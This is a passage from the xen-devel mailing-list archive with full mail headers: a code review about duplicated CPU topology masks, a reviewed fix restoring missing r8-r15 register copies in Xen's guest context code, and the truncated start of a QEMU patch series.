 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5dc778-b7e8-0a2a450b0019-d155802ce02a-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:08 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-4956242332dso1565935e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 00:00:08 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4955fee64dasm38632805e9.10.2026.07.20.00.00.06
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 00:00:07 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784530808; x=1785135608; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=xfAGzmmbM30stEk1fHIw9A+/NFSI9D65VLhLXj5CZo0=;
        b=L/vIeEZ9PRVBeSpC03v7K3IvQQflKVh40kiB3KLiIFY0GkNv1UMijzUIdWuqxa8UsB
         xnDb9GbDIS/fOog61xFR8BHXjtRH5I3+bCUuF6S0VSzD2d6/E6kBdwPzpd/gRwU1NGxO
         +x7kCc7F1IjXPNF9/2pPktFTJ5qEupL5R5HPEUtNpDv635e5hOPOu9qu0pYmCIm5pMgo
         6KyMKxEnUG3j7gdIaTP2HmVMWWgqA5DOrziQ1iTNMghqxlpi5E8AfykvVbcM6fMDNOw/
         sggYzkVHFxQPY3qL05AuFWqfAW88NDVzHgRnrmJx6euS1Ga173Puj+WFYAzGliilL43i
         69xw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784530808; x=1785135608;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=xfAGzmmbM30stEk1fHIw9A+/NFSI9D65VLhLXj5CZo0=;
        b=UtFrZO5dlRHMCnBgACkB9206RLBAO3Pee30NvtO4RbPEf5yGtfNiw7QjCXuFw2KtTd
         NwfDe4DsJti/0QpAoeVAlOBmilJVNGvws35H25BO+6JQcKI1omdpDuN6ETQMuFhAoziJ
         FGtRVK6ZF23j4IUl94C7ohzzseOr4tp53qwX+ew67jZKOtvPPr3+yLyopERaMYFoHIx1
         OHdcFiCwidnMgAj2hKMZ9fBTDAJT6/4o6Q8E4AwsGITcP1dvPwQutbjcRnIhEx9xBBTA
         KRk5bw6K5yc7AUCwmOQxh5kSYY37ggCiaOr1Xl4berNHnBpjMrUYHFd136O+1dAxzwB9
         3kAQ==
X-Forwarded-Encrypted: i=1; AHgh+RryPyGKOQWLM8apWjzi4yhn6Hi+/LF+O7mXgUHltiKn6c/V1P+BHKfbRQOi6yTgezsGDKyLJjk2d/I=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwwBuI75w57o9Cdi27zRmeKb4xzjdPXxNtygdpur78QbcDPEoBJ
	8edQhnfNfC2mkdKQH/t/LYCex4nPCgIDStNd3aj4x5rP0XQ9STtVq2C49UBq9hnesA==
X-Gm-Gg: AfdE7clEQcuxH2SQJ+Cfo4U9842Pqttmvb5OR40sf2wC25oVVoXwpoUNvi8E52CMEKz
	yRfof7+okUDfZys0lR+pLTHiYPNZPqhS6hnbcID87e0RsZ7mdmXA/ZbqpOUMPsKtKUafEPgi/vi
	JHOYyZvA9Ywyioj/BE8P6I+I/r3N2iAOUzo9dYHevTZp+8Hp0rsUrT+WTIsaVqJ/xagHcUqdClo
	/ezOJ5qx7iQyiDsHD74FtoA4qloXi3tGDrZabXa5nzsn/NItJwPm7eeRQg3KqNiOI3h8NJLPCoR
	lc5epyKfNDDp1mazEIuLaaPg16qDNSRPDkH53+63wCfgiXYzqwRpq1YSVQ9Qevh37/MOrrKJS3A
	wTU6IULdDendQsyN/y2eSVmZpE5VG8V/2cNK3sryfvIWFjW/rK4+6c1YPlvNIS7bT1+95o0/3s5
	T/bFD4xesAhMYLZeKl7q/d3PysIOrdY2KBOMPsrj9NH1jwn5pXVFi2H83euQbQH+GjZA==
X-Received: by 2002:a05:600c:3512:b0:495:4572:21af with SMTP id 5b1f17b1804b1-4954a3ef7dbmr132736855e9.9.1784530807574;
        Mon, 20 Jul 2026 00:00:07 -0700 (PDT)
Message-ID: <572ff8b3-99dd-489e-b01f-76d7dee07a14@suse.com>
Date: Mon, 20 Jul 2026 09:00:07 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 1/5] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: "Mykyta_Poturai@epam.com" <Mykyta_Poturai@epam.com>,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <20260714104445.919830-1-taka@valinux.co.jp>
 <20260714104445.919830-2-taka@valinux.co.jp>
 <f2f3572c-6a77-4f65-bf8e-82298d145a6e@suse.com>
 <OS9P286MB722280A3A0E6E36B8194501B82C42@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <OS9P286MB722280A3A0E6E36B8194501B82C42@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1784530808-A8AC89EA-E6B2B860/0/0
X-purgate-type: clean
X-purgate-size: 1469

On 19.07.2026 03:17, Hirokazu Takahashi wrote:
>>> +/* SPDX-License-Identifier: GPL-2.0-only */
>>> +
>>> +#ifndef XEN_CPU_TOPOLOGY_H
>>> +#define XEN_CPU_TOPOLOGY_H
>>> +
>>> +#include <xen/cpumask.h>
>>> +
>>> +#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
>>> +
>>> +struct cpu_topology {
>>> +    cpumask_var_t thread_sibling;
>>
>> Btw, as this aspect becomes more apparent when looking at patch 2: What is the
>> relationship of this (i.e. cpu_topology[cpu].thread_sibling) to
>> per_cpu(cpu_sibling_mask, cpu)? The two ought to be identical, but I can't see
>> this being guaranteed. And if they were identical, why would both be needed?
>>
>>> +    cpumask_var_t core_sibling;
>>
>> Same for this vs the per-CPU cpu_core_mask.
> 
> I have considered the same thing before. However, considering the CPU hotplug
> support that Mykyta Poturai is currently implementing, it is difficult to remove
> thread_sibling and core_sibling from struct cpu_topology. We intend to use 
> cpu_topology to hold information for CPUs that haven't been hotplugged yet.
> 
> While it might make more sense to remove the per-CPU masks instead, 
> I hesitated to do so because the impact on x86 Xen would be quite large.

That's understood, but imo removing the duplication should still be a follow-on
work item, if it can't reasonably be done right here. And the duplication then
imo wants an extra word of justification in the patch(es) introducing it.

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 07:19:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 07:19:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366135.1616028 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wliHp-0008CD-64; Mon, 20 Jul 2026 07:19:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366135.1616028; Mon, 20 Jul 2026 07:19:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wliHp-0008C6-3S; Mon, 20 Jul 2026 07:19:37 +0000
Received: by outflank-mailman (input) for mailman id 1366135;
 Mon, 20 Jul 2026 07:19:35 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wliHn-0008C0-1b
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 07:19:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wliHm-000DDV-EL
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:19:34 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5dcbf7-5cb7-0a2a0a5109dd-0a2a4509ec72-34
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:19:34 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5dcbff-be1a-0a2a45090019-d155802cc44a-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:19:27 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-4954df200ddso12753855e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 00:19:27 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63ee926dsm25670999f8f.35.2026.07.20.00.19.26
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 00:19:26 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784531967; x=1785136767; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=ykyWWK+VUt4EYjbVAGccjri2nV/bqYhJg97wYXOcOU4=;
        b=JfzzEMaJ7WyNGiadADD5Q0SI2VTVuTdWCV2rSIYgZFHo08JBjOUNc/LaA3oob1rdl4
         MVw41RV3NRLQOxgzCVahzBnjplYoX7+34tjpinlQD7P1gfJ32yfRLTlCum79AJmy67qn
         sgm84FfLZmxuG3J5bN1lWPhcT11JP8th/mt/VzFUHtYEyjQtFVk4fzx2Jl34e2bg89n9
         YgKRn2YmPftpeUiNza6p0FH/12J3V3Nps3F6lcpL6jFdx2tWNGoKoousuev1qLzdUo2V
         ClqY8yoojVowzVIetHqcx1jfF5ncx+1Fftyn0Ej71aoPIpeo+gpM2aWDElLdIS7oJ60W
         BkRw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784531967; x=1785136767;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=ykyWWK+VUt4EYjbVAGccjri2nV/bqYhJg97wYXOcOU4=;
        b=FhWm0zg1cpH0BxavlemFplxFnAuiN0+IsabNKsfSs+cS3ap5N3cdBWwAu6bftqfTZk
         J/MmaGZeFWIooPA1DGBJMflqLiBLGTl1wFQA/SES9mbepk3FGTbzCIdu2k7OeuN3qnD5
         8IgMzrFP0tE7OCieYfsLDwEKPZLwo7hwrpAWUF4KVcS+MZANzRn3DY+KUZvoszS2KwSk
         D0SPRFeME/PjnKOzx1ny6MDmaS1X8BJQdKzOGbXrSjSfWL61L7dINtTP5PuVcJYJYCEi
         CT0JL4j+ybflLCozbCViwWE9bW01nvpNNgIbforVAabR0Fv5Xkl5xY4r6P5iXK/MPoXs
         mgiw==
X-Forwarded-Encrypted: i=1; AHgh+RqfNX3WexCG8biy6SwDLoKNCTXQZNSWeCEBfi8XJxDd+Xf0/5fdXCsrX7cQ3norrIOqwJjETYsJRZE=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyAgsJ04ngj6y6uSXRv4EX1bqInmei+1RkZ5brkIExZQX/CczUJ
	m9DWQCIDSPvsc1KwAgYCHHW5UzUD8faimgHFVv9HYZbEJbyQZJxCfhxdaYEqNWYw1Q==
X-Gm-Gg: AfdE7cmmAQq91aRYclkLI1gaSY+LhNXhzy3S1hgxMC7PyeoRA/jbip/hnUhr+if8/6D
	cEx9eZfVJ4KWpE9DS7PyJIBoG9KlODVeBQAomj+B7duCPN21LIGj2wYSyFUF0tG9Hz0ldqwwE2r
	tJT9DnZwUnhHmS2vRljAMelM7EH0evjB+66wp5EYEKNv0LK1zUHxtoSfvTgRT20s1gQV2F9673A
	bHfyrvZDxuOWQ/UYOYZFhPa6NBbAI+1BgmpUwo3QhEqq14FgkkbltsnsSEgEFlTKKVJ7Ba/hGop
	a9fd+hD7KeXTANKYAIu/84utv4d0Q37tq3b5BVpee4SpxUgeAEmDzmj0u+f/klCm3UV5uJPGTek
	aF3AsTjMA98thOPLfhRB0GMtsJAKJZ7+HOpNmn6+XdU6ll3kZQdU2PnNTa5RKCTh2iSRRH6BAWa
	mOy78tzWE9Nf1kf9V8r9rKN405WX6P1AhB6WELMGrHoo44SMi0txF2mims/citAdqUg2+npn558
	gl6
X-Received: by 2002:a05:600c:6212:b0:495:5375:2510 with SMTP id 5b1f17b1804b1-495537526b4mr75573005e9.24.1784531967087;
        Mon, 20 Jul 2026 00:19:27 -0700 (PDT)
Message-ID: <83ac6e9b-3aaf-402d-9877-2ed63d365367@suse.com>
Date: Mon, 20 Jul 2026 09:19:27 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [4.22] Re: [PATCH] x86/domctl: restore all registers in
 arch_{get,set}_info_guest()
To: =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org
References: <20260720001223.2876628-1-marmarek@invisiblethingslab.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpB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8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260720001223.2876628-1-marmarek@invisiblethingslab.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-bad1c0/1784531967-FDC6D034-4274AEA1/0/0
X-purgate-type: clean
X-purgate-size: 3336

On 20.07.2026 02:12, Marek Marczykowski-GÃ³recki wrote:
> Commit 9f892f84c279 ("x86/domctl: Stop using XLAT_cpu_user_regs()")
> converted memcpy() of the cpu_user_regs structure to explicit copy of
> its fields. In the compat case, it intentionally missed few of them,
> named in the commit message. But the 64bit case missed also r8-r15
> registers, which was not intentional. This, at least, caused Linux
> 6.18.x crash when resuming PVH domU.

Oh, wow, what a bad mistake (including by me as the reviewer).

> Fix it by adding missing assignments.
> 
> Fixes: 9f892f84c279 ("x86/domctl: Stop using XLAT_cpu_user_regs()")
> Signed-off-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>

Reviewed-by: Jan Beulich <jbeulich@suse.com>

One remark though (equally applying to the original change):

> --- a/xen/arch/x86/domain.c
> +++ b/xen/arch/x86/domain.c
> @@ -1255,6 +1255,14 @@ int arch_set_info_guest(
>  
>      if ( !compat )
>      {
> +        v->arch.user_regs.r15               = c.nat->user_regs.r15;
> +        v->arch.user_regs.r14               = c.nat->user_regs.r14;
> +        v->arch.user_regs.r13               = c.nat->user_regs.r13;
> +        v->arch.user_regs.r12               = c.nat->user_regs.r12;
> +        v->arch.user_regs.r11               = c.nat->user_regs.r11;
> +        v->arch.user_regs.r10               = c.nat->user_regs.r10;
> +        v->arch.user_regs.r9                = c.nat->user_regs.r9;
> +        v->arch.user_regs.r8                = c.nat->user_regs.r8;
>          v->arch.user_regs.rbx               = c.nat->user_regs.rbx;
>          v->arch.user_regs.rcx               = c.nat->user_regs.rcx;
>          v->arch.user_regs.rdx               = c.nat->user_regs.rdx;

Neither here nor ...

> --- a/xen/arch/x86/domctl.c
> +++ b/xen/arch/x86/domctl.c
> @@ -1481,6 +1481,14 @@ void arch_get_info_guest(struct vcpu *v, vcpu_guest_context_u c)
>      if ( !compat )
>      {
>          /* Backing memory is pre-zeroed. */
> +        c.nat->user_regs.r15               = v->arch.user_regs.r15;
> +        c.nat->user_regs.r14               = v->arch.user_regs.r14;
> +        c.nat->user_regs.r13               = v->arch.user_regs.r13;
> +        c.nat->user_regs.r12               = v->arch.user_regs.r12;
> +        c.nat->user_regs.r11               = v->arch.user_regs.r11;
> +        c.nat->user_regs.r10               = v->arch.user_regs.r10;
> +        c.nat->user_regs.r9                = v->arch.user_regs.r9;
> +        c.nat->user_regs.r8                = v->arch.user_regs.r8;
>          c.nat->user_regs.rbx               = v->arch.user_regs.rbx;
>          c.nat->user_regs.rcx               = v->arch.user_regs.rcx;
>          c.nat->user_regs.rdx               = v->arch.user_regs.rdx;

... here it becomes clear what has determined the order in which fields
are copied. It's neither by register number nor by field order nor
alphabetically. We might do ourselves a (however minor) favor if we used
a clear criteria; likely field order would be best. The more that the
new internal struct cpu_user_regs mirrors field order from the original
external one. Andrew (in particular)?

Also, despite this being an issue in 4.21 already, I think this definitely
wants considering for 4.22.

Jan


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 07:56:19 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 07:56:19 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366145.1616037 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlirC-0004k2-Pq; Mon, 20 Jul 2026 07:56:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366145.1616037; Mon, 20 Jul 2026 07:56:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlirC-0004jv-Mm; Mon, 20 Jul 2026 07:56:10 +0000
Received: by outflank-mailman (input) for mailman id 1366145;
 Mon, 20 Jul 2026 07:56:09 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@redhat.com>) id 1wlirB-0004jp-Al
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 07:56:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlirA-006OD5-8j
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:56:08 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a5dd48b-e002-0a2a0a5209dd-0a2a4508d7e8-46
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:56:07 +0200
Received: from [170.10.129.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a5dd496-f659-0a2a45080019-aa0a817c7e1f-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:56:07 +0200
Received: from mx-prod-mc-03.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-54-186-198-63.us-west-2.compute.amazonaws.com [54.186.198.63]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-193-CpgzGo4-MYukQUb9BufLvA-1; Mon,
 20 Jul 2026 03:56:03 -0400
Received: from mx-prod-int-06.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-06.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.93])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-03.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 96D251955F22; Mon, 20 Jul 2026 07:55:59 +0000 (UTC)
Received: from localhost (unknown [10.44.22.17])
 by mx-prod-int-06.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id 35B0418001E0; Mon, 20 Jul 2026 07:55:56 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784534166;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding;
	bh=D6SwdudhFqpaKV0XMGXiUeT/Rco0k1hj7dJhN9XTk30=;
	b=QB6UfHIZsQxnO20/sxBTkz6JwB53hi24THZvC6E9/mzqh5xWvEe5Bm0b5zbBzmCBY90etV
	sl6f1hpV3igK+Ogg2+2KOedQYZDGBh+yb4MBO91tLRPYu+P90tT3lxbPyBKHiSsbYVUQse
	DELcUrlZfbBoQOjNOSTzIeDksnMk/Oo=
X-MC-Unique: CpgzGo4-MYukQUb9BufLvA-1
X-Mimecast-MFC-AGG-ID: CpgzGo4-MYukQUb9BufLvA_1784534161
From: =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Subject: [PATCH 0/8] coroutine: add missing annotations
Date: Mon, 20 Jul 2026 11:55:29 +0400
Message-Id: <20260720-co-v1-0-fabb4db3c204@redhat.com>
MIME-Version: 1.0
X-B4-Tracking: v=1; b=H4sIAAAAAAAC/6tWKk4tykwtVrJSqFYqSi3LLM7MzwNyDHUUlJIzE
 vPSU3UzU4B8JSMDIzMDcyMD3eR8XTMj0xRLi2TzlGTTVCWgwoKi1LTMCrAh0bEQfnFpUlZqcgl
 Ip1JtLQALZewkZgAAAA==
X-Change-ID: 20260720-co-625d98c7dc5e
To: qemu-devel@nongnu.org
